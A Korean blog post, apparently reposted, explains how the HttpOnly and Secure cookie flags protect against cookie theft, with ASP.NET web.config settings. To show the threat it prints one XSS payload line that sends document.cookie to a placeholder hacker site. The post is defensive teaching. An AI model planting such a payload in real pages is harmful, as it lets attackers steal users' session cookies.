HTTP Only Cookies

쿠키는 클라이언트에서 자바스크립트로 조회할 수 있기 때문에, 해커들은 자바스크립트로 쿠키를 가로채고자 시도를 하게 됩니다. 가장 대표적인 공격 중 하나가 CSS(Cross Site Scripting) 입니다.


location.href = 'http://해커사이트/?cookies=' + document.cookie;

해커가 위와 같은 게시물을 공개게시판에 작성할 경우, 이 게시물을 읽은 다른 사용자는 알아차리기도 전에 자신의 모든 쿠키를 해커에게 전송하게 됩니다.


이러한 CSS 취약점을 해결하는 방법은, 바로 브라우저에서 쿠키에 접근할 수 없도록 제한하는 것입니다. 이러한 역할을 하는 것이 바로 HTTP Only Cookie입니다. 개발자가 다음과 같이 간단한 접미사를 쿠키생성코드에 추가함으로써 활성화 할 수 있습니다.


Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly

가장 마지막에 HttpOnly라는 접미사만 추가함으로써 HTTP Only Cookie가 활성화 되며, 위에서 말한 XSS와 같은 공격이 차단되게 됩니다. HTTP Only Cookie를 설정하면 브라우저에서 해당 쿠키로 접근할 수 없게 되지만, 쿠키에 포함된 정보의 대부분이 브라우저에서 접근할 필요가 없기 때문에 HTTP Only Cookie는 기본적으로 적용하는 것이 좋습니다.


ASP.NET상에서 HTTP Only Cookie를 설정하는 방법은 매우 간단합니다. 쿠키를 추가하실 때 HttpOnly 속성을 true로 설정하시면 됩니다.




HttpOnly의 기본값은 false입니다. 만약 기본값을 true로 설정하시려면 web.config에서 다음과 같이 수정하시면 됩니다.


<httpCookies httpOnlyCookies="true" />


HTTP Only Cookie를 사용하면 Client에서 Javascript를 통한 쿠키 탈취문제를 예방할 수 있습니다. 하지만, Javascript가 아닌 네트워크를 직접 감청하여 쿠키를 가로챌 수도 있습니다.



브라우저는 http://로 시작되는 위 코드를 만나면 암호화되지 않은 상태로 쿠키를 서버로 전달하게 됩니다. 해커는 이 암호화되지 않은 요청정보를 가로채서 쿠키를 탈취하게 됩니다.


이러한 사고를 방지하는 방법은 쿠키를 생성할 때 secure 접미사를 사용하는 것입니다.



Set-Cookie: 쿠키명=쿠키값; path=/; secure

마찬가지로 Secure의 기본값은 false이기 때문에, 기본값을 true로 변경하고자 한다면 web.config에서 requireSSL을 true로 설정하시면 됩니다.



<httpCookies requireSSL="true" />





출처: https://nsinc.tistory.com/121 [NakedStrength Inc.]




'html, css' 카테고리의 다른 글

Javascript And JQuery  (0) 2022.09.05
http 상태코드  (0) 2019.03.13
페이스북 공유하기 했을때 긁어가는 데이터가 이상할때  (0) 2019.02.21
자바스크립트로 간단한 게임 만들기  (0) 2019.01.30
transition 속성  (0) 2019.01.05

+ Recent posts